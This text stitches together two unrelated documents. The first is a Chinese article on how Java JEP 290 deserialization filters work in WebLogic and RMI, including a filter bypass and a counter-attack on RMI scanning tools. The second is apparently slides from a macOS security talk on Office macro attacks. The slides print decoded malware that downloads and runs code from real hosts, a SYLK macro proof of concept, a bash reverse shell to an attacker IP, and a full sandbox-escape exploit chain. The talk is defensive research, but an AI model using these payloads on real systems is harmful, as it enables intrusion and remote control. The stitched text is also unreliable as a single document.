全局过滤器
设置全局过滤器，其实就是设置 Config 静态类的 serialFilter 静态字段值。
具体原因是因为在 ObjectInputStream 的两个构造函数中，都会为 serialFilter 属性赋值为
ObjectInputFilter.Config.getSerialFilter() 。
而 ObjectInputFilter.Config.getSerialFilter 就是直接返回 Config#serialFilter ：
jdk.serailFilter
在介绍 Config 静态类的时候说到， Config 静态类初始化的时候，会解析 jdk.serailFilter 属性
设置的 JEP 290 规则到一个 Global 对象的 filters 属性，并且会将这个 Global 对象赋值到
Config 静态类的 serialFilter 属性上。
所以，这里 Config.serialFilter 值默认是解析 jdk.serailFilter 属性得到得到的 Global 对
象。
weblogic 全局过滤器
在 weblogic 启动的时候，会赋值 Config.serialFilter 为 WebLogicObjectInputFilterWrapper
。
具体流程如下：
首先在 weblogic 启动的时候，先调用 WeblogicObjectInputFilter.initializeInternal 方法，在
initializeInternal 方法中会先 new 一个 JreFilterApiProxy 对象，这个对象是一个进行有关
JEP 290 操作的代理对象（具体原理是通过反射来调用的）。
随后 new 一个 WeblogicFilterConfig 对象。
在创建 WeblogicFilterConfig 对象的时候中会对 weblogic 黑名单进行整合，最后得到
WeblogicFilterConfig 中 serailFilter ， golbalSerailFilter ，以及
unauthenticatedSerialFilter 属性如下：
接着调用 filterConfig.getWebLogicSerialFilter 取出上面赋值的
WeblogicFilterConfig#serailFilter ,并调用 filterApliProxy.createFilterForString 方法
把 filter 字符串转化为 Object 类型，并且封装到 WebLogicObjectInputFilterWrapper 对象中。
最后会取出刚刚设置的 filter ，传入 filterApiProxy.setGlobalFilter 方法中对 Config 的
serialFilter 属性赋值：
调用完之后我们利用 filterApiProxy.methodConfigGetSerialFilter.invoke(null) 来查看
Config 的 serailFilter 字段值， 可以看到 Config.serialFilter 成功被设置为一个
WeblogicObjectInputFilterWrapper 对象。
查看 pattern 正是打了 7 月份补丁的全局反序列化黑名单：
用一段话来阐述 weblogic 中 全局过滤器赋值的流程就是：
weblogic 启动的时候，会调用 WeblogicObjectInputFilter 的 initializeInternal 方法进行初
始化，首先会 new JreFilterApiProxy 对象，这个对象相当于JEP 290 有关操作的代理对象，里面封
装了操作 Config 静态类的方法。然后会 new 一个 WeblogicFilterConfig 对象，这个对象在 new
的时候会把 weblogic 的黑名单赋值到 WeblogicFilterConfig 对象的属性中。之后，会从
WeblogicFilterConfig 对象属性中取 serialFilter ，调用 JreFilterApiProxy 对象的
setGlobalFilter 来赋值 Config.serailFilter 。
局部过滤器
设置局部过滤器的意思是在 new objectInputStream 对象之后，再通过改变单个
ObjectInputStream 对象的 serialFilter 字段值来实现局部过滤。
改变单个 ObjectInputStream 对象的 serialFilter 字段是有两种方法：
1.通过调用 ObjectInputStream 对象的 setInternalObjectInputFilter 方法：
注：低于 JDK 9 的时候，是 getInternalObjectInputFilter 和
setInternalObjectInputFilter ， JDK 9 以及以上是 getObjectInputFilter 和
setObjectInputFIlter 。
2.通过调用 Config.setObjectInputFilter ：
局部过滤器典型的例子是 RMI 中针对 RegsitryImpl 和 DGCImpl 有关的过滤。
RMI 中采用了局部过滤
RMI 简单介绍
RMI 分为客户端和服务端，官方文档：https://docs.oracle.com/javase/tutorial/rmi/overview.html
下面是对 RMI 官方文档介绍的理解：
另外 RMI 中其实并不一定要 RegistryImpl ,也就是我们熟称的注册中心，RMI 完全可以脱离注册中心
来运行。可以参考：https://www.jianshu.com/p/2c78554a3f36 。个人觉得之所以使用注册中心是因
为注册中心的 Registry_Stub 以及 Registry_Skel 会为我们自动进行底层的协议数据通信（JRMP
协议），能让使用者可以不关心底层的协议数据交流，而专注在远程对象的调用上。
RMI 服务端远程对象导出实际上是将这个对象分装成一个 Target 对象，然后存放在
ObjectTable#objTable 这个静态的 HashMap 中：
每个 Target 对象都包含一个唯一的 id 用来表示一个对象，像 RegistryImpl 的 id 就比较特殊是 0
，其他普通对象的 id 都是随机的：
客户端要对服务端对象进行远程调用的时候，是通过这个 id 来定位的。
ObjectTable#putTarget 方法：
ObjectTable#getTarget 方法：
ObjectEndpoint 中的 equals 方法，可以看到是判断 id 和 transport ， transport 一般情况是
相等的，所以一般都是通过 id 来判断：
RegistryImpl 对象与 JEP 290
RegistryImpl 作为一个特殊的对象，导出在 RMI 服务端，客户端调用的 bind , lookup ， list 等
操作，实际上是操作 RegistryImpl 的 bindings 这个 Hashtable 。
bind ：
lookup ：
list ：
这里我们之所以称 RegistryImpl 是一个特殊的对象，是因为 `RegistryImpl 导出过程中生成
Target 对象是一个“定制”的 Target 对象，具体体现在:
对比普通对象导出过程中生成的 Target ：
1.这个Target 中 id 的 objNum 是固定的，为 ObjID.REGISTRY_ID ，也就是 0 。
2.这个Target 中 disp 是 filter 为 RegisryImpl::RegistryFilter ,skel 为
RegsitryImpl_skel 的 UnicastServerRef 对象。
3.这个Target 中 stub 为 RegistryImpl_stub。
导出过程
首先 LocateRegistry.createRegsitry ：
new RegistryImpl(port) 中会 new 一个 UnicastServerRef 对象，将 RegistryImpl 的 id
（ OBJID.REGISTRY_ID ，也就是 0 ） 存入到 LiveRef 对象，随后 LiveRef 对象赋值到
UnicastServerRef 对象中的 ref 字段，并且将 RegsitryImpl::registryFilter 赋值给这个
UnicastServerRef 对象的 filter 字段：
RegistryImpl 的 id 是 0 ：
随后在 RegistryImpl#setup 中调用 UnicastServerRef.exportObject 进行对象导出：
UnicastServerRef.exportObject 中会将远程对象分装成一个 Target 对象,并且在创建这个
Target 对象的时候，将上面的 UnicastServerRef 对象赋值为 Target 中的 disp 。于是这个
Target 对象的 disp 就设置为了有 filter 的 UnicastserverRef 。
随后调用 LiveRef.exportObject ：
会调用 TCPEndpoint.export :
调用 TCPTransport.exportObject ，在这一步会开启端口进行监听：
随后后调用到 Transport.export ，可以看到就是将这个 Target 放到 ObjectTable#objTable 中：
服务端处理请求过程
处理请求是在 Transport#serviceCall ，首先从输入流中读取 id , 匹配到 RegistryImpl 对象对应
的 Target 。
随后调用 UnicastServerRef.dispatch ：
在 UnicastServerRef#dispatch 中，由于 UnicastServerRef.skel 不为 null ，所以会调用
UnicastServerRef#oldDispatch 方法：
oldDispatch 中会先调用 unmarshalCustomCallData(in) 方法，再调用
RegistryImpl_skel.dispatch 方法。
unmarshalCustomCallData 方法中会进行判断，如果 UnicastServerRef.filter 不为 null ,就会
设置 ConnectionInputStream 的 serialFilter 字段值为 UnicastServerRef.filter （设置单个
ObjectInputStream 的 serialFilter 属性，局部过滤的体现）：
再看 RegistryImpl_skel.dispatch ：
我们以 bind 为例来讲解：
DGCImpl 对象与 JEP 290
DGCImpl 对象和 RegistryImpl 对象类似都是一个特殊的对象，他的”定制“ Target 对象的特殊体现
在：
导出过程
DGCImpl 会在导出 RegsitryImpl 的时候导出，具体分析如下：
DGCImpl 静态代码块中会将一个 DGCImpl 封装为一个 Target 放到 ObjectTable 中，这个 Target 有
以下特征：
1.这个Target 中 id 的 objNum 是固定的，为 ObjID.DGC_ID ，也就是 2 。
2.这个Target 中 disp 是 filter 为 DGCImpl::DGCFilter ,skel 为 DGCImpl_skel 的
UnicastServerRef 对象。
3.这个Target 中 stub 为 DGC_stub。
DGCImpl 静态代码块会在 createRegistry 的时候触发，调用链如下：
具体原因是在导出 RegistryImpl 对象的时候，会传入 permanent 为 true :
就会导致 new Target 中会触发 pinImpl 方法：
然后在调用 WeakRef.pin 方法的时候，会触发 DGCImpl 的静态代码块。
也就是说在 createRegistry 的时候，会把 DGCImpl 和 RegistryImpl 封装的 target 都放到
ObjectTable#objTable 中。
服务端处理请求过程
服务端处理 DGCImpl 的请求过程和 RegistryImpl 非常类似，都是在 Transport#serviceCall 中处
理，调用 UnicastServerRef#dispatch ，再调用 UnicastServerRef#oldDispatch 最后在
UnicastServerRef#unmarshalCustomCallData 中为之后进行 readObject 操作的
ConnectionInputStream.serialFilter 赋值为 DGCImpl::checkInput 。
DGCImpl#checkInput ：
通过 JVM 参数或者配置文件进行配置
对于 RegistryImpl
在 RegistryImpl 中含有一个静态字段 registryFilter ，所以在 new RegistryImpl 对象的时
候，会调用 initRegistryFilter 方法进行赋值：
initRegistryFilter 方法会先读取 JVM 的 sun.rmi.registry.registryFilter 的属性，或者是读
取 %JAVA_HOME%\conf\security\java.security 配置文件中的
sun.rmi.registry.registryFilter 字段来得到 JEP 290 形式的 pattern ，再调用
ObjectInputFilter.Config.createFilter2 创建 filter 并且返回。
%JAVA_HOME\conf\security\java.security% 文件：
RegistryImpl#registryFilter 函数会先判断 RegistryImpl#regstiryFilter 字段是否为 null 来
决定使用用户自定义的过滤规则，还是使用默认的白名单规则，如果不是 null 的话，会先调用用户自定
义的过滤规则进行检查，接着判断检查结果，如果不是 UNDECIDED 就直接返回检查的结果，否则再使
用默认的白名单检查。
对于 DGCImpl
在 DGCImpl 中含有一个静态字段 dgcFilter ，所以在 new DGCImpl 对象的时候，会调用
initDgcFilter 方法进行赋值：
initDgcFilter 方法会先读取 JVM 的 sun.rmi.transport.dgcFilter 的属性，或者是读取
%JAVA_HOME\conf\security\java.security% 配置文件中的 sun.rmi.transport.dgcFilter 字段
来得到 JEP 290 形式的 pattern ，再调用 ObjectInputFilter.Config.createFilter 创建 filter
并且返回。
%JAVA_HOME%\conf\security\java.security 文件：
DGCImpl#checkInput 和 RegistryImpl#registryFilter 函数类似，会先判断 DGCImpl#dgcFilter
字段是否为 null 来决定使用用户自定义的过滤规则，还是使用默认的白名单规则，如果不是 null 的话，
会先调用用户自定义的过滤规则进行检查，接着判断检查结果，如果不是 UNDECIDED 就直接返回检查
的结果，否则再使用默认的白名单检查。
RMI 中 JEP 290 的绕过
网上公开资料广泛说的是：如果服务端"绑定"了一个对象，他的方法参数类型是 Object 类型的方法
时，则可以绕过 JEP 290。
其实剖析本质，是因为服务端导出的这个 ”普通的对象“ 对应的 Target 对象中的 disp （其实是
UnicastServerRef 对象) 的 filter 是 null 。
普通的对象导出的 target 如下：
下面我们来具体跟以下流程分析，首先准备客户端和服务端代码如下：
服务端和客户端共同包含接口的定义和实现：
服务端代码如下：
恶意客户端代码如下：
普通对象的导出过程
普通对象的导出有两种方式，一种是继承 UnicastRemoteObject 对象，会在 new 这个对象的时候自
动导出。第二种是如果没有继承 UnicastRemoteObject 对象，则需要调用
UnicastRemoteObject.export 进行手动导出。但其实第一种底层也是利用
UnicastRemoteObject.export 来导出对象的。
下面我们来讨论继承 UnicastRemoteObject 类的情况：
因为这个普通对象继承自 UnicastRemoteObject 类，所以在 new 这个普通对象的时候会调用到
UnicastRemoteObject 的构造方法：
进而调用 UnicastRemoteObject.exportObject 方法：
UnicastRemoteObject#exportObject 方法中再使用 UnicastServerRef#exportObject ,这里可以
看到在 new UnicastRemoteObject 的时候并没有传入 filter ：
对比导出 RegistryImpl 对象的时候， new UnicastRemoteObject 对象传入了
RegistryImpl::registryFilter ：
接着会调用 UnicastServerRef.exportObject 方法：
所以普通对象生成的 Target 对象的 disp 中 filter 就为 null ，另外这里的 skel 也为 null 。
后面导出 Target 的过程和 导出 RegistryImpl 对应的 Target 是一样的，最后会将这个普通对象的
Target 放到 objectTable#objTable 中。
绑定成功后的 ObjectTable#objTable :
服务端处理请求的过程
同样处理请求的入口在 Transport#serviceCall ，首先从输入流中读取 id , 匹配到 RegistryImpl
对象对应的 Target 。
然后取出 disp ,调用 disp.dispatch ：
首先由于 skel 为 null ，所以不会进入 oldDispatch , 像 RegistryImpl 和 DGCImpl 因为他们的
skel 不为 null ,所以会进入到 oldDispatch ：
接着会匹配到方法，拿到方法的参数，接着进行反序列化：
unmarshalCustomCallData 方法:
unmarshalValue 方法对输入流中传入的参数进行反序列化：
执行 in.readObject 之后，成功弹出计算器：
反制
利用上面这种方法绕过 JEP 290 去攻击 RMI 服务端，网上有一些工具，比如 rmitast 和 rmisout 。
但是对于使用 rmitast 或者 rmisout 这些工具，或者调用 lookup() 来试图攻击RMI 服务端 的时候，
我们可以使用 如下的恶意服务端代码进行反制：
反制 RegistryImpl_Stub.lookup
我们来看一下 RegistryImpl_Stub.lookup 对服务端返回的结果是怎么处理的，可以看见在
RegistryImpl_Stub.lookup 会直接对服务端返回的对象调用 in.readObject 方法，而 in 的
serialFilter 在这里是为 null 的：
所以客户端在进行 RegistryStub.lookup 操作的时候会直接导致 RCE ：
同理 RegistryStub.list 也是如此：
但是用上面的服务端恶意代码并不能触发 RCE ，因为上面服务端恶意代码是利用 Registry_skel 来写
入对象的，可以看到写入的是一个字符串数组：
反制 rmitast
我们以 rmitast 中的 枚举模块为例：
步入 enumerate.enumerate() 里面是具体的实现原理：
首先 Enumerate.connect(this.registry) 返回的实际上是 RegistryImpl_Stub 对象，底层调用的
是 LocateRegistry.getRegistry 方法。
然后调用 this.registry.loadObjects() , this.list() 实际调用的是
RegistyImpl_Stub.list() 方法，得到注册中心的所有绑定的对象名：
接着会调用 this.loadObjects(names) , 会调用 this.lookup(name) ，底层实际使用的是
RegistryImpl_Stub.lookup() 方法，上面分析过 RegistryImpl_Stub.lookup 会直接反序列化服
务端传过来的恶意对象，并且 readObject 时使用的 ObjectInputStream 对象中的 serialFilter 是
null 。
我们启动上面的恶意服务端，然后使用 RmiTaste 的 enum 模块：
运行之后会导致使用 RmiTast 的一端 RCE ：
总结
JEP 290 主要是在 ObjectInputStream 类中增加了一个 serialFilter 属性和一个 filterChcek 函
数，其中 serialFilter 就可以理解为过滤器。
在 ObjectInputStream 对象进行 readObject 的时候，内部会调用 filterChcek 方法进行检查，
filterCheck 方法中会对 `serialFilter 属性进行判断，如果不是 null ,就会调用
serialFilter.checkInput 方法进行过滤。
设置过滤器本质就是设置 ObjectInputStream 的 serialFilter 字段值，设置过滤器可以分为设置
全局过滤器和设置局部过滤器：
1.设置全局过滤器是指，通过修改 Config.serialFilter 这个静态字段的值来达到设置所有
ObjectInputStream 对象的 serialFilter 值 。具体原因是因为 ObjectInputStream 的构造函数会
读取 Config.serialFilter 的值赋值到自己的 serialFilter 字段上，所有就会导致所有 new 出来的
ObjectInputStream 对象的 serailFilter 都为 Config.serialFilter 的值。
2.设置局部过滤器是指，在 new ObjectInputStream 的之后，再修改单个 ObjectInputStream 对象
的 serialFilter 字段值。
参考
https://www.cnpanda.net/sec/968.html JEP290的基本概念
https://www.jianshu.com/p/2c78554a3f36 深入理解rmi原理
http://openjdk.java.net/jeps/290 JEP 290 官方文档
https://www.cnblogs.com/Ming-Yi/p/13832639.html Java序列化过滤器
https://www.runoob.com/java/java8-functional-interfaces.html Java 8 函数式接口
https://www.jianshu.com/p/40f833bf2c48 函数式接口和Lambda表达式深入理解
https://juejin.cn/post/6844903892166148110 「Java8系列」神奇的函数式接口 | pdf |
Office Drama
...on macOS
WHOIS
@patrickwardle
analysis
exploit chain
OUTLINE
history
Evil Office Docs!
defense
Recent History
macro based attacks, targeting macOS
...defined
MACROS
Macro:
"A macro is a series of commands & instructions that you group
together as a single command to accomplish a task automatically"
-Microsoft
Sub AutoOpen()
MsgBox "Hello World!", 0, "Title"
End Sub
01
02
03
+
MSOffice document
+ code
tl;dr: add code to documents
macro code (VBScript)
...of course (ab)used by attackers
MACROS
+
though mitigations...
now on macOS?
MACROS
more macs...
malicious & potentially unwanted
files for macOS (Kasperksy)
more mac malware...
macro attack
2017
"New Attack, Old Tricks"
objective-see.com/blog/blog_0x17.html
"U.S. Allies and Rivals Digest
Trump’s Victory - Carnegie
Endowment for International
Peace.docm"
discovery & (limited)
detection
macro attack
2018
"Word to Your Mac"
objective-see.com/blog/blog_0x3A.html
"BitcoinMagazine-
Quidax_InterviewQuestions_2018.docm"
download & exec
2nd-stage (python) payload
sandbox escape!
discovery & (limited)
detection
macro attack
2019
"Cryptocurrency businesses still being targeted by Lazarus"
securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus
"샘플_기술사업계획서(벤처기업평가용.doc"
is mac?
infected document
(credit: kaspersky)
download & exec
2nd-stage (mach-O) payload
Analysis
understanding macro based attacks
EXTRACTING EMBEDDED MARCOS
oletools, ftw
$ sudo pip install -U oletools
$ olevba -c <path/to/document>
$ olevba -c ~/Documents/HelloWorld.docm
olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools
=====================================================================
FILE: /Users/patrick/Documents/HelloWorld.docm
Type: OpenXML
---------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
MsgBox "Hello World!", 0, "Title"
End Sub
github.com/decalage2/oletools
installation/usage
AutoOpen()
"(automatically) runs after
you open a new document"
macro extraction
"Description of behaviors of AutoExec & AutoOpen macros"
support.microsoft.com/en-us/help/286310/description-of-behaviors-of-autoexec-and-autoopen-macros-in-word
ANALYSIS:
"U.S. Allies & Rivals Digest Trump's Victory"
$ olevba -c "U.S. Allies and Rivals Digest Trump's Victory.docm"
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub autoopen()
Fisher
End Sub
Public Sub Fisher()
Dim result As Long
Dim cmd As String
cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"
cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"
...
result = system("echo ""import sys,base64;exec(base64.b64decode(
\"" " & cmd & " \""));"" | python &")
End Sub
'Fisher' subroutine:
automatically executed
concat base64-encoded str.
decode & exec via python
Fisher() embedded macros
via 'autoopen'
Sub 'Fisher()':
$ python
>>> import base64
>>> cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBv .... "
>>> base64.b64decode(cmd)
...
dXFprvsgMBSIyPf = 'atfMzZOqVLbcj'
import ssl;
import sys, urllib2;
import re, subprocess;
cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE)
out = ps.stdout.read()
ps.stdout.close()
if re.search("Little Snitch", out):
sys.exit()
...
a = o.open('https://www.securitychecking.org:443/index.asp').read();
key = 'fff96aed07cb7ea65e7f031bd714607d';
S, j, out = range(256), 0, []
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
...
exec(''.join(out))
"U.S. Allies & Rivals Digest Trump's Victory"
ANALYSIS:
decoded python code
...looks familiar!?
LittleSnitch running?firewall check
Download 2nd-stage payload
(www.securitychecking.org)
RC4 decrypt this payload
(key: fff96aed07cb7ea...)
Execute decrypted payload
EmPyre (python backdoor)
ANALYSIS:
"BitcoinMagazine-Quidax_InterviewQuestions_2018"
$ olevba -c "BitcoinMagazine-Quidax_InterviewQuestions_2018.docm"
Private Sub Document_Open()
payload = "import base64,sys;exec(base64.b64decode({2:str,3:lambda
b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ" &
"...6c30pCg==')));"
path = Environ("HOME") &
"/../../../../Library/LaunchAgents/~$com.xpnsec.plist"
arg = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" & _
"<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ...">\n" & _
"<plist version=""1.0"">\n" & _
"<dict>\n" & _
"<key>Label</key>\n" & _
"<string>com.xpnsec.sandbox</string>\n" & _
"<key>ProgramArguments</key>\n" & _
"<array>\n" & _
"<string>python</string>\n" & _
"<string>-c</string>\n" & _
"<string>" & payload & "</string>" & _
"</array>\n" & _
"<key>RunAtLoad</key>\n" & _
"<true/>\n" & _
"</dict>\n" & _
"</plist>"
Result = system("echo """ & arg & """ > '" & path & "'", "r")
'Result = system("launchctl bootout gui/$UID", "r")
End Sub
'Document_Open()':
triggers automatic execution
create ~$com.xpnsec.plist
decode & exec via python
$ python
>>> import base64
>>> payload = "aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs3IgeCBpbiByYW5n...30pCg=="
>>> base64.b64decode(payload)
"import socket,struct,time\nfor x in range(10):\n\ttry:
\n\t\ts=socket.socket(2,socket.SOCK_STREAM)
\n\t\ts.connect(('109.202.107.20',9622))\n\t\tbreak\n\texcept:
\n\t\ttime.sleep(5)\nl=struct.unpack('>I',s.recv(4))[0]\nd=s.recv(l)
\nwhile len(d)<l:\n\td+=s.recv(l-len(d))\nexec(d,{'s':s})\n"
"BitcoinMagazine-Quidax_InterviewQuestions_2018"
ANALYSIS:
import socket, struct, time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('109.202.107.20',9622))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
download & exec
...Meterpreter
109.202.107.20
ANALYSIS:
"BitcoinMagazine-Quidax_InterviewQuestions_2018"
path = Environ("HOME") &
"/../../../../Library/LaunchAgents/~$com.xpnsec.plist"
arg = "<?xml version=""1.0"" ...>\n" & _
"<!DOCTYPE plist PUBLIC ...">\n" & _
"<plist version=""1.0"">\n" & _
"<key>Label</key>\n" & _
"<string>com.xpnsec.sandbox</string>\n" & _
...
"</plist>"
Result = system("echo """ & arg & """ > '" & path & "'", "r")
"Escaping the Microsoft Office Sandbox"
objective-see.com/blog/blog_0x35.html
$ codesign --display -v --entitlements - "Microsoft Word.app"
...
com.apple.security.temporary-exception.sbpl
(allow file-read* file-write*
(require-any
(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))
)
)
embedded macro code ..."stolen"!?
Word's Sandbox Profile
"....allows us to create a file anywhere on the
filesystem as long as it ends with ~$something"
-(Adam Chester)
sandbox escape via
/Library/LaunchAgents/~$com.xpnsec.plist
Adam's PoC
ANALYSIS:
"샘플_기술사업계획서(벤처기업평가용.doc"
$ olevba -c "샘플_기술사업계획서(벤처기업평가용.doc"
Sub AutoOpen()
...
#If Mac Then
sur = "https://nzssdm.com/assets/mt.dat"
...
res = system("curl -o " & spath & " " & sur)
res = system("chmod +x " & spath)
res = popen(spath, "r")
embedded (macOS-specific)
macros
'AutoOpen()':
triggers automatic execution
"Lazarus APT Targets Mac Users with Poisoned Word Document"
labs.sentinelone.com/lazarus-apt-targets-mac-users-poisoned-word-document/
macOS-specific
logic
nzssdm.com
mt.dat
(implant)
download payload (via curl)
set executable (via chmod +x)
execute (via popen)
Advanced Exploitation
a '0-click' macro based attack
...rather lame (and dysfunctional?)
CURRENT ATTACKS
alert!
app sandbox
quarantine attribute
+ notarizations
$ log stream
Error kernel: (Quarantine) exec of /private/tmp/backdoor denied
...since it was quarantined by Microsoft Word and created without user consent
AUTOMATIC MACRO EXECUTION
...with no alerts
Excel 2019
"In Office 2011 for Mac, XLM Macro's in Sylk files are auto executed
(no protected mode or macro prompt)"
-The MS Office Magic Show" (2018), Pieter Ceelen & Stan Hegt
only Office 2011, Microsoft: #wontfix
"The Microsoft Office (2016, 2019) for Mac option "Disable all macros
without notification" enables XLM macros without prompting..."
-CERT, vulnerability note VU#125336 (11/2019)
macro security
no prompt!
latest version of Office!
XLM MACROS IN SYLK FILES
...ollld file format!
"Abusing the SYLK file format"
outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/
XLM:
macro language predating VBA
Sylk (.slk) files
SYmbolic LinK, (1980s file format)}
still supported!
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator")
C;X1;Y102;K0;EHALT()
E
01
02
03
04
05
06
07
PoC.slk: spawn calc (via XLM)
...macros are (now) sandboxed
SANDBOX BYPASS
spawning calc, is now, far from end-game
$ codesign --display -v --entitlements - "Microsoft Word.app"
...
com.apple.security.temporary-exception.sbpl
(allow file-read* file-write*
(require-any
(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))
)
)
...now patched
"....allows us to create a file anywhere on the
filesystem as long as it ends with ~$something"
-(Adam Chester)
<string>
(deny file-write*
(subpath (string-append (param "_HOME") "/Library/Application Scripts"))
(subpath (string-append (param "_HOME") "/Library/LaunchAgents")))
</string>
Word's (Office) Sandbox Profile
"In a sandboxed application, child processes created with
the Process class inherit the sandbox of the parent app" -Apple
...download & execute; allowed
SANDBOX BYPASS
escape?
# processMonitor
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"path" : "/usr/bin/curl",
"arguments" : [
"curl",
"-L",
"http://evil.com/escape.py",
"-o",
"/tmp/~$escape.py"
],
}
},
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"path" : "/System/Library/.../2.7/bin/python2.7",
"arguments" : [
"python",
"/tmp/~$escape.py"
],
}
}
curl / python...allowed!
process monitor
network comms
script execution
sandbox allows:
sandboxed
via user login item
SANDBOX BYPASS
#create (CF)URL to app (e.g. Terminal.app)
appURL = CoreFoundation.CFURLCreateWithFileSystemPath(
kCFAllocatorDefault, path2App.get_ref(),
kCFURLPOSIXPathStyle, 1)
#get the list of (existing) login items
items = CoreServices.LSSharedFileListCreate(
kCFAllocatorDefault,
kLSSharedFileListSessionLoginItems, None)
#add app to list of login items
CoreServices.LSSharedFileListInsertItemURL(
loginItems, kLSSharedFileListItemLast,
None, None, appURL, None, None)
01
02
03
04
05
06
07
08
09
10
11
12
13
# TrueTree
/System/Library/LaunchDaemons/com.apple.loginwindow.plist
/System/Library/CoreServices/loginwindow.app
/System/Applications/Utilities/Terminal.app
~$escape.py
loginwindow -> login items
(TrueTree, J. Bradley)
un-sandboxed!
...macros are (now) sandboxed
QUARANTINED / NOTARIZATION
can't pass args to login items :(
...just persist our own (payload)?
any created payload: com.apple.quarantine
(can't $ xattr -rc in sandbox)
$ xattr ~\$payload
com.apple.quarantine
$ xattr -p com.apple.quarantine /tmp/~\$payload
0086;5e4c4b7a;Microsoft Excel;
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y102;K0;ECALL("libc.dylib","system","JC","touch /tmp/\~\$payload")
01
02
blocked :(
...an idea
QUARANTINED / NOTARIZATION
a launch agent:
run apple binary
pass arguments!
avoids `com.apple.quarantine`
creating launch agents: disallowed!
<string>
(deny file-write*
(subpath (string-append (param "_HOME") "/Library/LaunchAgents")))
</string>
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>/bin/bash -i >& /dev/tcp/<attacker ip>/8080 0>&1</string>
</array>
...
01
02
03
04
05
06
07
08
09
10
reverse shell, via bash
sandbox rule
...an idea
QUARANTINED / NOTARIZATION
sandbox escape
...apple only, with no args
quarantine 'bypass'
...but can't create (from sandbox)
escape
create launch
agent
...must find a way for an apple binary (with no
arguments), to create a launch agent for us!
...an idea!
ARCHIVE UTILITY.APP
$ lsregister -dump
...
rank: Default
bundle: Archive Utility
bindings: public.zip-archive, .zip
Archive Utility
Archive Utility.app
Q: what happens if we
"persist" a .zip file !?
A: macOS invokes its default handler!
(apple binary, outside the sandbox)
.zip login item!?
~/Library/~$payload.zip
LaunchAgents/
foo.plist
launch agent "created"
"remotely" infecting macOS
FULL EXPLOIT CHAIN
user opens .slk file
downloads & "persists"
~$payload.zip
LaunchAgents/
on (next) login, "Archive
Utility" invoked & unzips
...creating launch agent
on (next) login, launch
agent runs ...reverse shell!
an "unsandboxed" reverse shell ...game over!
FULL EXPLOIT CHAIN
<plist version="1.0">
<dict>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>/bin/bash -i >& /dev/tcp/<attacker ip>/8080 0>&1</string>
</array>
...
01
02
03
04
05
06
07
08
09
launch agent (reverse shell, via bash)
runs outside sandbox
can download &
unquarantine files!
OSX.WindTail
final payload:
(repurposed) OSX.WindTail
Defense
protection against macro based attacks
...Microsoft & Apple
FIXES & BUG REPORTS
"is a known issue
...on the Apple side" !?
full report to Apple
macro bug
patched: CVE-2019-1457
patched: 10.15.3
process monitoring
DETECTION
# ./processMonitor
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
...
"path" : "/Applications/Microsoft Excel.app",
"pid" : 1406
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"path" : "/usr/bin/curl",
"arguments" : [
"curl",
"http://evil.com/escape.py",
"-o",
"/tmp/~$escape.py"
],
"ppid" : 1406
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"path" : "/System/Library/.../2.7/bin/python2.7",
"arguments" : [
"python",
"/tmp/~$escape.py"
],
"ppid" : 1406
}
}
Excel (pid: 1406) spawning curl & python!?
curl
python
suspicious children!
file monitoring (persistence)
DETECTION
# ./fileMonitor
{
"event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
"file" : {
"destination" : "~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm",
"path" : "/System/Library/CoreServices/backgroundtaskmanagementagent",
}
}
login item persistence (backgrounditems.btm)
"Block Blocking Login Items"
objective-see.com/blog/blog_0x31.html
non-app login item!?
suspicious persistence!
via JamfProtect (MonitorKit + Apple's game engine)
GENERICALLY DETECTING MAC MALWARE
MonitorKit
Apple's game (logic) engine
actions
(alert, log, etc)
alert !
...in the news
Conclusion
TAKE AWAYS
Ensure your macOS systems are protected
by a behavior-based security tool!
macro attacks
...targeting macOS users
defense in depth!!
MAHALO!
"Friends of Objective-See"
[email protected]
Airo
Guardian
Mobile Firewall
SecureMac
SmugMug
iVerify
Digital Guardian
Sophos
Halo Privacy
"THE ART OF MAC MALWARE"
https://taomm.org
Announcing:
volume 0x1: Analysis
infection vectors
methods of persistence
